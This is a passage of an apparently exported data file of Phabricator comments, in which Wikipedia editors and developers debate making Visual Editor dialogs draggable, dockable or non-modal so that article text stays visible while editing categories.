+Sent from Yahoo Mail on Android",,,1573919054,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+1393749,OOUI: Dialogs should be repositionable/draggable,"@John_Broughton that seems to be assuming that the category name will appear as text somewhere in the article, but that will not always be the case. For example [[ https://en.wikipedia.org/wiki/List_of_pear_cultivars | List of pear cultivars ]] is in Category:Lists of foods. The words ""Lists"" and ""foods"" appear nowhere on the page other than the category names, even ""food"" appears only in the link to a portal and in the title of one reference and neither are in close proximity to any instance of the word ""list"". I imagine this will be even worse in languages where plurals are formed differently than in English.
+
+Your idea also doesn't seem to relate to dialogs where information is being input from multiple different places in the article. 
+
+Back in May 2017 I commented:
+> I wouldn't object to dockable diaglogs appearing like that at the bottom of the screen as an option, but simply being able to move a reasonably sized box around the screen to a convenient point for the task at hand would be vastly superior imo.
+@Spinningspark replied
+>Yes, that exactly sums up the issues.  A moveable window is the best solution. The issue is being clouded with these alternative solutions and we have ended up with no solution at all.
+We don't seem to have moved on at all in the last 2½ years. ",,,1573913438,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1
+1393363,OOUI: Dialogs should be repositionable/draggable,"I haven't thought this through, but, for example, to add a category to Wikipedia page, one could (1) select some text, and (2) tell VE that you want that text to be a category.  The process would be similar to linking, where one selects text and then clicks on the link icon. 
+
+The linking process works really well in VE because the link icon is one click away from the text being edited, while categories are a menu choice, so two clicks away. But I doubt that anyone would complain about the extra click if setting up a category was almost as easy a process as creating a link.
+
+Still, if one wants to dream about an even easier interface, it would be this:
+
+(a) select some text
+(b) a palette window automatically appears (relatively small, perhaps, since the editor might be selecting text to copy, move, or delete)
+(c) click on an icon in the palette window to select a relevant action from the palette window (which might be expanded with a click, maybe showing the selected text in an attached window). The relevant options could include create a link, create a category, format the text as a heading, format a paragraph (block quote), format some text within a paragraph (bold, italic, etc)
+
+In other words, in VE, when you select some text, VE would automatically say ""Okay, here are your options for that text."" [I have no idea how difficult this would be to program.]
+
+",,,1573840441,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+1393330,OOUI: Dialogs should be repositionable/draggable,"@John_Broughton, the StackExchange link makes me wonder whether we should be thinking of these as modal dialogs (something intended to interrupt the primary workflow [which is probably ""typing text into the body of an article""] and requiring some action before you can get back to the primary workflow).  Maybe editors would find it better to have a https://en.wikipedia.org/wiki/Palette_window instead.",,,1573838216,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+1393013,OOUI: Dialogs should be repositionable/draggable,"Given that a user wants to both interact with (or at least see) a page's content, and also interact with a somewhat complicated form/process (i.e. many controls/inputs, e.g. Rater, or in VE adding/editing a template with many parameters), what alternatives are there?
+ - Unmovable dialog: Forces the user to swicth back-and-forth to another tab/window; or exit the dialog, find what they wanted to find, and go back in
+ - Docking: Only works if your screen is big enough
+ - Prepending to (or placing just above) the content area: Causes content to re-position, can't necessarily see both things at once (if scrolling is required), not really suitable if the form/process applies to only one section of the page
+ - Appending to (or placing just below) the content area: Similar to prepending, but instead content re-positioning existing content, the form/process won't initially be visible on longer pages, unless you force the page to scroll there
+I don't think those alternatives are actually better than letting the user move the dialog out of the way.",,,1573803105,,PHID-USER-sesl3h225nhd3px7w7bu,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+1391281,OOUI: Dialogs should be repositionable/draggable,"https://ux.stackexchange.com/questions/81134/should-modal-dialogs-be-movable seems to show a (rough) consensus that when a proposed solution to a dialog is to make it moveable, the dialog itself is poorly designed. That implies looking for a different solution that addresses the underlying user problem. 
+
+For example, when in VE, and wanting to create a category, the dialog could include the text of the section where the pointer was located when the dialog was invoked (scrollable on the left side of the dialog). That way, the user could selected text from the left side of the dialog and paste it into the right side. [I'm not arguing that this is optimal, just that it's another way to solve the underlying user problem.]",,,1573599401,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+1391010,OOUI: Dialogs should be repositionable/draggable,"FYI, I found I could do the draggability easily enough without the library, just using mouse/pointer events directly - [[https://github.com/evad37/rater/commit/a510709e8eb61389e0d83faca7750215affb1f9c|diff]].",,,1573580066,,PHID-USER-sesl3h225nhd3px7w7bu,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+1390375,OOUI: Dialogs should be repositionable/draggable,"I've implemented draggability for an OOUI process dialog for the latest version of my [[ https://github.com/evad37/rater | Rater script]], by [[ https://github.com/evad37/rater/commit/0ef3d7eca0a2417550030ceac9219265dbcbdf5b | using a drag-and-drop library ]] and [[ https://github.com/evad37/rater/blob/f0ca4cdbbfca6529bbe235e2f8d8b3f626bcc18d/rater-src/css.js#L31 | some CSS overrides]]. It would be nicer if this functionality was directly supported, rather than relying on a library with a bunch of functionality that isn't actually used -- at least for reusers of OOUI, even if WMF devs choose not to use it.
+
+(Coincidentally, this is the exact use-case @Gryllida was describing above three years ago.)",,,1573488532,,PHID-USER-sesl3h225nhd3px7w7bu,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,332,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1
+852002,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#3224607, @Thryduulf wrote:
+> When editing in VE I sometimes have to load a duplicate copy of the page in a new tab so that I can see what I'm doing.
+> 
+> I dislike the split-screen approach as that uses more screen estate than required and divorces the dialog from its context. I wouldn't object to dockable diaglogs appearing like that at the bottom of the screen as an option, but simply being able to move a reasonably sized box around the screen to a convenient point for the task at hand would be vastly superior imo.
+
+Yes, that exactly sums up the issues.  A moveable window is the best solution.  The issue is being clouded with these alternative solutions and we have ended up with no solution at all.",,,1493641919,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,200,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1
+851929,OOUI: Dialogs should be repositionable/draggable,"When editing in VE I sometimes have to load a duplicate copy of the page in a new tab so that I can see what I'm doing.
+
+I dislike the split-screen approach as that uses more screen estate than required and divorces the dialog from its context. I wouldn't object to dockable diaglogs appearing like that at the bottom of the screen as an option, but simply being able to move a reasonably sized box around the screen to a convenient point for the task at hand would be vastly superior imo.",,,1493598817,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,200,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+849468,OOUI: Dialogs should be repositionable/draggable,"Three and a half years on from my initial complaint, and as far as I know the Visual Editor is still useless to me, so I don't use it. Let me know when it becomes a useful editing system for people who need to see the original article while adding categories or doing other tasks.",,,1493224533,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,199,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+849399,OOUI: Dialogs should be repositionable/draggable,I still think something like a split-screen mode would be a better solution for these cases than movable dialogs (see mockup above in T51969#821409).,,,1493220892,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,199,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+772675,OOUI: Dialogs should be repositionable/draggable,"Yes - when someone tells me that VE is usable, I'll have another look at it. If the dialog box still obscures the content, then for my prolific WikiGnoming it's useless. Two years since I raised this, and no progress. Nice to feel appreciated. ",,,1481018430,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,179,,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+772668,OOUI: Dialogs should be repositionable/draggable,Astonishing this is still open.  I stopped using VE a year or two back because this and other problems made for an inefficient worklow.  Still not time to give it another try I see.,,,1481016428,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,179,,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+772286,OOUI: Dialogs should be repositionable/draggable,"I appreciate this discussion happening. It is strange that we are thinking that draggable dialogs create problems, so I will attempt to illustrate it with a use-case. I am trying to write a user script in oojs-ui, and the script work should be similar to the old gadget whose dialog is draggable to expose different parts of the article text in order to perform its assessment.
+
+Here is the gadget documentation and source code: https://en.wikipedia.org/wiki/User:Kephir/gadgets/rater
+
+Here is a screenshot attached, which I also uploaded to Commons and which is found at the gadget documentation page:
+
+{F4983945}
+
+I would like to be able to perform article rating on the new pages queue continuously one after another, and having draggable dialog reduces the working memory (and increases efficiency) of the process about tenfold, as I don't have to hold the article contents in my memory.",,,1480961860,,PHID-USER-aklqcs2xae5ghg6icqmd,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,179,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+340217,OOUI: Dialogs should be repositionable/draggable,"I agree that the dockable model is trying to modify something where we might better look for alternatives. For example, one way to create a new category might be to highlight some text, then select (say) Insert > Category. That could open a dialog (for example, to  allow a different sort key than the default, and to offer the opportunity to create a category if one being created didn't already exist.
+
+This isn't perfect, of course - if a particular category didn't exist (as text) on the page, the user would have to add it, create the category, then delete the unneeded text. Still, maybe it's better, and at least it's something to think about.",,,1418179696,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,75,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+340205,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#821409, @matmarex wrote:
+> I'm increasingly convinced that draggable dialogs in general are a solution in search of a problem. (It could be interesting to do, but shouldn't be applied to all dialogs.)
+> 
+>> You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.
+> 
+> I was thinking, perhaps the dialogs should be ""dockable"" at the bottom of the screen? Clicking an icon on dialog's title bar would hide the white overlay and dock it, revealing article content. We should think what to do with dialogs that were modal in this case, but I think this approach could work, and could work a lot better than clunky dragging of dialogs (which are often way too large for dragging to make sense, as they would cover most of the content anyway even when dragged aside).
+> 
+> Here's a rough mockup – note the docking icon on the right. Thoughts?
+
+Eurgh. I really don't like the dockable model of modals. It feels like failure. I'd prefer instead that we provide secondary non-modal ways to do things people want to do that isn't modal. As @Whatamidoing-WMF says, this isn't going to work for anyone that doesn't have a huge desktop screen to use.",,,1418176632,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,75,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+340204,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#835122, @TrevorParscal wrote:
+> In my view, editing categories should not be a modal experience.
+
+Not **necessarily** modal. The HotCat gadget that this partially replaces is already effectively-modal too, for instance.
+
+> The category editor should simply be embedded at the bottom of the page in place of the category listing.
+
+That's {T52239}.
+
+",,,1418176524,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,75,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+340106,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#548465, @PamD wrote:
+> (In reply to Trevor Parscal from comment #22)
+>> I would like to avoid adding moving and resizing to dialogs, because I
+>> believe it solving the problem in the wrong way. At it's root, this is a
+>> workflow problem. Making the dialog resizable and movable does not
+>> adequately address it.
+>> 
+>>....
+> 
+> You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.
+
+I am not saying it's a problem with YOUR workflow, I'm saying it's a problem with the workflow we are providing you. I'm admitting we have failed you, and because we didn't understand how you actually use the software we modeled the workflow around our imagined way you might use the software.
+
+In my view, editing categories should not be a modal experience. The category editor should simply be embedded at the bottom of the page in place of the category listing. If we do anything to try and get the dialog out of the way temporarily, we will still not be able to let you select text behind the dialog without breaking the entire concept of a modal dialog. By placing the category editor at the bottom, you are free to scroll around and select whatever you like. This is the experience you have with the Wikitext editor, and there's no reason we can't continue to provide it.",,,1418163779,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,75,,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+337358,OOUI: Dialogs should be repositionable/draggable,Making the dialog one-third the width of the screen is only going to make sense on a desktop system.  One third the width of a smartphone screen is not going to be functional (the entire dialog box would be a couple of centimeters wide).,,,1418010994,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,75,,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+336972,OOUI: Dialogs should be repositionable/draggable,"The discussion is complicated by the unnecessary ""Options"" menu on the left side of the dialog box. (I believe this is the **only** place in VE where selecting a choice from a top menu results in a dialog box that shows all the other choices on that menu; that would make sense if an editor were likely to want to do two or three page-related things at once, but in fact he/she almost certainly does *not*.) While redoing the entire approach to how the three-line (should be ""Page"") menu choices work is probably outside the scope of this topic, I will note that what the requester needs (access to all the text on the page, *while* the dialog is open) is applicable only to **two choices** - categories and default sort. 
+
+For those two menu choices, categories and default sort, I suggest that the dialog attach itself to the **right side** of the window, taking up 1/3 of the width of the window, and that the left side - the text on the page - be scrollable. (If it's easier to program, then perhaps the dialog should be attached on the left, with the scrolling done on the right.) For the other menu choices, a normal modal dialog box is fine.",,,1417811550,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,74,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+336854,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#821594, @PamD wrote:
+>I don't know the term ""dock""  but I think you mean what I'd call ""minimise""? 
+
+No, dock does not mean the same as minimise.  Docking is fixing the dialogue to one edge of the window, rather than plonking a popup in the middle of the window.  In the mockup example the dialogue is docked to the bottom of the window.  Applications often give the user a choice of which edge they want to dock to, but I don't know if that is what is propsoed here.
+
+For me, this would work if the window could still be scrolled while the dialogue was open, thus uncovering any content hidden by the dialogue (or even off the boundary of the window at the time the dialogue was invoked).
+",,,1417802087,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,74,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+336836,OOUI: Dialogs should be repositionable/draggable,"Looks as if it might work: I don't know the term ""dock""  but I think you mean what I'd call ""minimise""? So click on that icon, the dialog box shrinks to an icon, I read what's behind it: I hope I can copy text from it, eg to fix a DEFAULTSORT? Then click on the icon to restore the dialogue box and carry on. Yes, could be a great solution. Probably better than my original suggestion, many moons ago, of dragging or resizing.  Thanks.",,,1417799263,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,74,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+336790,OOUI: Dialogs should be repositionable/draggable,"Indeed, but in this use case you then have to drag it back on-screen to input the category name or whatever.",,,1417793086,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,74,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+336787,OOUI: Dialogs should be repositionable/draggable,">>! In T51969#821409, @matmarex wrote:
+> ...and could work a lot better than clunky dragging of dialogs (which are often way too large for dragging to make sense, as they would cover most of the content anyway even when dragged aside).
+
+Even if the dialog window is very large, it can still be pushed out of the way by dragging it until it is nearly completely off screen.
+",,,1417793032,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,74,,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1
+336780,OOUI: Dialogs should be repositionable/draggable,"I'm increasingly convinced that draggable dialogs in general are a solution in search of a problem. (It could be interesting to do, but shouldn't be applied to all dialogs.)
+
+> You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.
+
+I was thinking, perhaps the dialogs should be ""dockable"" at the bottom of the screen? Clicking an icon on dialog's title bar would hide the white overlay and dock it, revealing article content. We should think what to do with dialogs that were modal in this case, but I think this approach could work, and could work a lot better than clunky dragging of dialogs (which are often way too large for dragging to make sense, as they would cover most of the content anyway even when dragged aside).
+
+Here's a rough mockup – note the docking icon on the right. Thoughts?
+
+{F19025,size=full}",,,1417792226,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,True,,,74,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+237029,OOUI: Dialogs should be repositionable/draggable,"(In reply to Trevor Parscal from comment #22)
+> I would like to avoid adding moving and resizing to dialogs, because I
+> believe it solving the problem in the wrong way. At it's root, this is a
+> workflow problem. Making the dialog resizable and movable does not
+> adequately address it.
+> 
+>....
+
+You're saying that I've got a problem with my workflow: how else do you suggest that I add a category, a stub template, or a DEFAULTSORT to an article, if I can't read the text of the article? I could copy and paste the entire article content into a notepad, so that I could refer to it ... hardly seems reasonable.
+
+If I want to add a stub template for a Russian footballer, and then discover that not only do I need {{Russia-footy-defender-stub}} but that it's subdivided by date of birth, I need to be able to look at the article and find his date of birth to use {{Russia-footy-defender-1960s-stub}}.  If I want to add a defaultsort, I need to be able to copy the surname, and then the forename, from the text of the article. How should I adjust my workflow?
+
+For the foreseeable future, I've adjusted my workflow by abandoning any attempt to use VE as it makes my editing too difficult.",,,1414347353,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,68,,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+237025,OOUI: Dialogs should be repositionable/draggable,"(In reply to Trevor Parscal from comment #22)
+> I would like to avoid adding moving and resizing to dialogs, because I
+> believe it solving the problem in the wrong way. At it's root, this is a
+> workflow problem. Making the dialog resizable and movable does not
+> adequately address it.
+> 
+> More of these processes should be non-modal, especially authoring edit
+> summaries. This would allow users to contribute to edit summaries as they
+> work, rather than having to write them at the very end, when the changes
+> they've made are so temporally distant.
+> 
+> Even if the dialog is movable an resizable and movable, the contents below
+> are only visible through a semi-opaque mask and the contents cannot be
+> scrolled because the modal dialog is capturing events (on purpose, it's
+> modal).
+
+This is a good point, but I dont think, its related to this enhencment. You are right, that if I am doing a lot of different changes and/or editing the article several minutes, I forgot, what I was doing. But how this problem is related to the fact, I cannost drag the DW avay to see what is behind?",,,1414336477,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-g55t2yyhma4clcxdjjey,task_subcomment,,True,c1,3,False,,,68,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+237021,OOUI: Dialogs should be repositionable/draggable,"I would like to avoid adding moving and resizing to dialogs, because I believe it solving the problem in the wrong way. At it's root, this is a workflow problem. Making the dialog resizable and movable does not adequately address it.
+
+More of these processes should be non-modal, especially authoring edit summaries. This would allow users to contribute to edit summaries as they work, rather than having to write them at the very end, when the changes they've made are so temporally distant.
+
